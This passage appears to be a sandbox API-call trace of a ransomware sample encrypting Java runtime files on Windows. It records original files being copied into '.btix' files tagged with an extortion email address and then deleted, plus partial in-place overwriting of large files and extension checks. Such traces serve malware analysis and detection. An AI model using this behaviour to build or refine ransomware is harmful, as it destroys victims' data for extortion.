lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x8490, lpOverlapped=0x0) returned 1 [0155.002] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.002] WriteFile (in: hFile=0x368, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0155.002] SetEndOfFile (hFile=0x368) returned 1 [0155.002] CloseHandle (hObject=0x368) returned 1 [0155.003] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.003] SetEndOfFile (hFile=0x354) returned 1 [0155.005] CloseHandle (hObject=0x354) returned 1 [0155.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.005] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0155.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.005] lstrlenW (lpString=".doc") returned 4 [0155.005] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.005] lstrlenW (lpString=".docx") returned 5 [0155.005] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0155.005] lstrlenW (lpString=".pdf") returned 4 [0155.005] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.005] lstrlenW (lpString=".xls") returned 4 [0155.005] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.005] lstrlenW (lpString=".xlsx") returned 5 [0155.005] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0155.005] lstrlenW (lpString=".ppt") returned 4 [0155.005] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.006] lstrlenW (lpString=".zip") returned 4 [0155.006] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.006] lstrlenW (lpString=".rar") returned 4 [0155.006] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.006] lstrlenW (lpString=".bz2") returned 4 [0155.006] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.006] lstrlenW (lpString=".7z") returned 3 [0155.006] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.006] lstrlenW (lpString=".dbf") returned 4 [0155.006] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.006] lstrlenW (lpString=".1cd") returned 4 [0155.006] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.006] lstrlenW (lpString=".jpg") returned 4 [0155.006] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.006] lstrlenW (lpString=".doc") returned 4 [0155.006] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.006] lstrlenW (lpString=".docx") returned 5 [0155.006] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0155.006] lstrlenW (lpString=".pdf") returned 4 [0155.006] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.006] lstrlenW (lpString=".xls") returned 4 [0155.006] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.007] lstrlenW (lpString=".xlsx") returned 5 [0155.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0155.007] lstrlenW (lpString=".ppt") returned 4 [0155.007] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.007] lstrlenW (lpString=".zip") returned 4 [0155.007] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.007] lstrlenW (lpString=".rar") returned 4 [0155.007] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.007] lstrlenW (lpString=".bz2") returned 4 [0155.007] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.007] lstrlenW (lpString=".7z") returned 3 [0155.007] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.007] lstrlenW (lpString=".dbf") returned 4 [0155.007] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.007] lstrlenW (lpString=".1cd") returned 4 [0155.007] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0155.007] lstrlenW (lpString=".jpg") returned 4 [0155.007] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.007] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0155.007] lstrlenW (lpString="jsse.jar") returned 8 [0155.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0155.008] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=584576) returned 1 [0155.008] CloseHandle (hObject=0x354) returned 1 [0155.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0155.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0155.008] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.008] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0155.113] GetLastError () returned 0x0 [0155.113] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0155.129] WriteFile (in: hFile=0x398, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0155.759] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.760] WriteFile (in: hFile=0x398, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe4, lpOverlapped=0x0) returned 1 [0155.760] SetEndOfFile (hFile=0x398) returned 1 [0155.760] CloseHandle (hObject=0x398) returned 1 [0155.760] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.760] SetEndOfFile (hFile=0x354) returned 1 [0155.764] CloseHandle (hObject=0x354) returned 1 [0155.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.765] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0155.765] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.765] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.765] lstrlenW (lpString=".doc") returned 4 [0155.765] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.765] lstrlenW (lpString=".docx") returned 5 [0155.765] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0155.765] lstrlenW (lpString=".pdf") returned 4 [0155.765] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.765] lstrlenW (lpString=".xls") returned 4 [0155.766] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.766] lstrlenW (lpString=".xlsx") returned 5 [0155.766] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0155.766] lstrlenW (lpString=".ppt") returned 4 [0155.766] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.766] lstrlenW (lpString=".zip") returned 4 [0155.766] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.766] lstrlenW (lpString=".rar") returned 4 [0155.766] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.766] lstrlenW (lpString=".bz2") returned 4 [0155.766] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.766] lstrlenW (lpString=".7z") returned 3 [0155.766] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.766] lstrlenW (lpString=".dbf") returned 4 [0155.766] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.766] lstrlenW (lpString=".1cd") returned 4 [0155.766] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.766] lstrlenW (lpString=".jpg") returned 4 [0155.766] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.766] lstrlenW (lpString=".doc") returned 4 [0155.766] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.766] lstrlenW (lpString=".docx") returned 5 [0155.766] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0155.766] lstrlenW (lpString=".pdf") returned 4 [0155.766] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.766] lstrlenW (lpString=".xls") returned 4 [0155.766] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.766] lstrlenW (lpString=".xlsx") returned 5 [0155.767] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0155.767] lstrlenW (lpString=".ppt") returned 4 [0155.767] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.767] lstrlenW (lpString=".zip") returned 4 [0155.767] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.767] lstrlenW (lpString=".rar") returned 4 [0155.767] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.767] lstrlenW (lpString=".bz2") returned 4 [0155.767] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.767] lstrlenW (lpString=".7z") returned 3 [0155.767] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.767] lstrlenW (lpString=".dbf") returned 4 [0155.767] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.767] lstrlenW (lpString=".1cd") returned 4 [0155.767] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0155.767] lstrlenW (lpString=".jpg") returned 4 [0155.767] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.767] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0155.767] lstrlenW (lpString="rt.jar") returned 6 [0155.767] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0155.767] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=54560347) returned 1 [0155.768] CloseHandle (hObject=0x354) returned 1 [0155.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0155.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0155.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0155.782] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0x0) returned 1 [0155.782] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0155.782] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f4a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.809] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x115821e, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0155.809] ReadFile (in: hFile=0x354, lpBuffer=0x3f8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f8a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.831] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.831] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x33c865b, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0155.831] ReadFile (in: hFile=0x354, lpBuffer=0x3fca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fca058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.855] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.855] WriteFile (in: hFile=0x354, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xc00f8, lpNumberOfBytesWritten=0x351fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fca8*=0xc00f8, lpOverlapped=0x0) returned 1 [0156.181] SetEndOfFile (hFile=0x354) returned 1 [0156.181] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x428ddb8 [0156.184] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0156.184] WriteFile (in: hFile=0x354, lpBuffer=0x428ddb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddb8*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0156.185] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x115821e, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0156.185] WriteFile (in: hFile=0x354, lpBuffer=0x428ddb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddb8*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0156.186] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x33c865b, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0156.186] WriteFile (in: hFile=0x354, lpBuffer=0x428ddb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddb8*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0156.187] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddb8 | out: hHeap=0x660000) returned 1 [0156.187] CloseHandle (hObject=0x354) returned 1 [0156.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.187] lstrlenW (lpString=".doc") returned 4 [0156.187] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0156.187] lstrlenW (lpString=".docx") returned 5 [0156.187] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0156.187] lstrlenW (lpString=".pdf") returned 4 [0156.187] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0156.187] lstrlenW (lpString=".xls") returned 4 [0156.187] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0156.188] lstrlenW (lpString=".xlsx") returned 5 [0156.188] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0156.188] lstrlenW (lpString=".ppt") returned 4 [0156.188] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.188] lstrlenW (lpString=".zip") returned 4 [0156.188] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0156.188] lstrlenW (lpString=".rar") returned 4 [0156.188] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0156.188] lstrlenW (lpString=".bz2") returned 4 [0156.188] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0156.188] lstrlenW (lpString=".7z") returned 3 [0156.188] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.188] lstrlenW (lpString=".dbf") returned 4 [0156.188] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.188] lstrlenW (lpString=".1cd") returned 4 [0156.188] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.188] lstrlenW (lpString=".jpg") returned 4 [0156.188] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0156.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.188] lstrlenW (lpString=".doc") returned 4 [0156.189] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0156.189] lstrlenW (lpString=".docx") returned 5 [0156.189] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0156.189] lstrlenW (lpString=".pdf") returned 4 [0156.189] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0156.189] lstrlenW (lpString=".xls") returned 4 [0156.189] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0156.189] lstrlenW (lpString=".xlsx") returned 5 [0156.189] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0156.189] lstrlenW (lpString=".ppt") returned 4 [0156.189] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0156.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.189] lstrlenW (lpString=".zip") returned 4 [0156.189] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0156.189] lstrlenW (lpString=".rar") returned 4 [0156.189] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0156.189] lstrlenW (lpString=".bz2") returned 4 [0156.189] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0156.189] lstrlenW (lpString=".7z") returned 3 [0156.189] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0156.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.189] lstrlenW (lpString=".dbf") returned 4 [0156.189] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0156.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.189] lstrlenW (lpString=".1cd") returned 4 [0156.189] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0156.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0156.189] lstrlenW (lpString=".jpg") returned 4 [0156.189] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0156.189] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0156.189] lstrlenW (lpString="sound.properties") returned 16 [0156.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0156.190] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1210) returned 1 [0156.190] CloseHandle (hObject=0x354) returned 1 [0156.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0156.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0156.190] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.190] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.191] GetLastError () returned 0x0 [0156.191] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4ba, lpOverlapped=0x0) returned 1 [0156.191] WriteFile (in: hFile=0x380, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0156.192] ReadFile (in: hFile=0x354, 